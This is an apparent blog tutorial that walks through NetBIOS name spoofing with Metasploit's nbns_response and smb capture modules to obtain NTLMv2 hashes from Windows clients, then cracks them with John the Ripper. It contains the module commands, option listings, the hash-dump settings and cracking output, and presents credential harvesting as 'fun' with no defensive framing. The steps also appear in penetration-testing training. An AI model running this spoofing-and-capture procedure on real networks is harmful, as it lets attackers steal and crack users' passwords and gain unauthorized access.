This is a fun technique for harvesting user credentials that still works: NetBIOS name spoofing. NetBIOS is a Session layer technology from the early 1980’s that is still in use on networks today. Today, NetBIOS is used predominately in Windows networks as the session service for Server Message Block (SMB) aka Common Internet File System (CIFS), an Application layer technology for sharing files, printers, and inter process communication (IPC).
Start the NetBIOS Name Spoofing
Using Metasploit, load the auxiliary/spoof/nbns/nbns_response module:
msf> use auxiliary/spoof/nbns/nbns_response msf auxiliary(nbns_response) > show options Module options (auxiliary/spoof/nbns/nbns_response): Name Current Setting Required Description ---- --------------- -------- ----------- INTERFACE no The name of the interface REGEX .* yes Regex applied to the NB Name to determine if spoofed reply is sent SPOOFIP 127.0.0.1 yes IP address with which to poison responses TIMEOUT 500 yes The number of seconds to wait for new data
We are most interested in the “SPOOFIP” option, as this is the IP address our spoofed responses will come from. Note that this module will not work well with Network Address Translation (NAT), as the NetBIOS protocol itself is not NAT-friendly see this article. The “REGEX” option allows you to match on parts of the NetBIOS name you want to target, if you are targeting a specific host on the network. If this is left blank, all NetBIOS requests to your host will be handled by this module.
Useful NetBIOS Spoofing
Now that we can spoof a legitimate host’s NetBIOS response, let’s use this capability to capture a user’s NTLM hash from SMB requests. For detailed information on NTLM authentication over SMB, see Microsoft’s documentation on MSDN. In summary, a typical NTLM authentication session over SMB looks like this:
- Client sends SMB_COM_NEGOTIATE request
- Server replies with SMB_COM_NEGOTIATE response
- Client sends NTLM NEGOTIATE_MESSAGE request
- Server replies with NTLM CHALLENGE_MESSAGE response
- Client sends NTLM AUTHENTICATE_MESSAGE request
- Server replies with SMB_COM_SESSION_SETUP response
We will attack the negotiations in steps 4 and 5 using a Metasploit module to create a service which will respond to SMB requests. This will afford us the opportunity to create a predictable NTLM CHALLENGE_MESSAGE (Step 4) for submission to the client. This message normally includes an 8-bit random value, however, since we are the SMB server, we can control the value. When the client responds to this challenge with NTLM AUTHENTICATE_MESSAGE, it will include the NTLM hash of the user’s password!
From Metasploit, load the auxiliary/server/capture/smb module:
msf auxiliary(nbns_response) > use auxiliary/server/capture/smb msf auxiliary(smb) > show options Module options (auxiliary/server/capture/smb): Name Current Setting Required Description ---- --------------- -------- ----------- CAINPWFILE no The local filename to store the hashes in Cain&Abel format CHALLENGE 1122334455667788 yes The 8 byte challenge JOHNPWFILE no The prefix to the local filename to store the hashes in JOHN format SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 445 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
Most of these values are fine left as default, but take note of the CAINPWFILE and JOHNPWFILE settings. These will dump client responses into files prepared for use by these tools. Awesome! I prefer to use john for password attacks, so I will set the JOHNPWFILE and begin the exploit:
msf auxiliary(smb) > set JOHNPWFILE /tmp/john_pw.log JOHNPWFILE => /tmp/john_pw.log msf auxiliary(smb) > exploit -j -z [*] Auxiliary module running as background job
Now I just need to wait for a victim to connect…
(Here I am forcing the connection from a Windows 7 VM)
Almost there. Now, run john against the NTLM hash…
$ john --wordlist=/tmp/wordlist.txt john_pw.log_netntlmv2 Loaded 4 password hashes with 4 different salts (NTLMv2 C/R MD4 HMAC-MD5 [32/64]) eve (dagorim)
Great! Now it’s time for further fun.
Not the Newest Tool in the Box
This technique still works, though. This is one method for obtaining a user’s credentials. We’d like to hear about your favorite technique in the comments!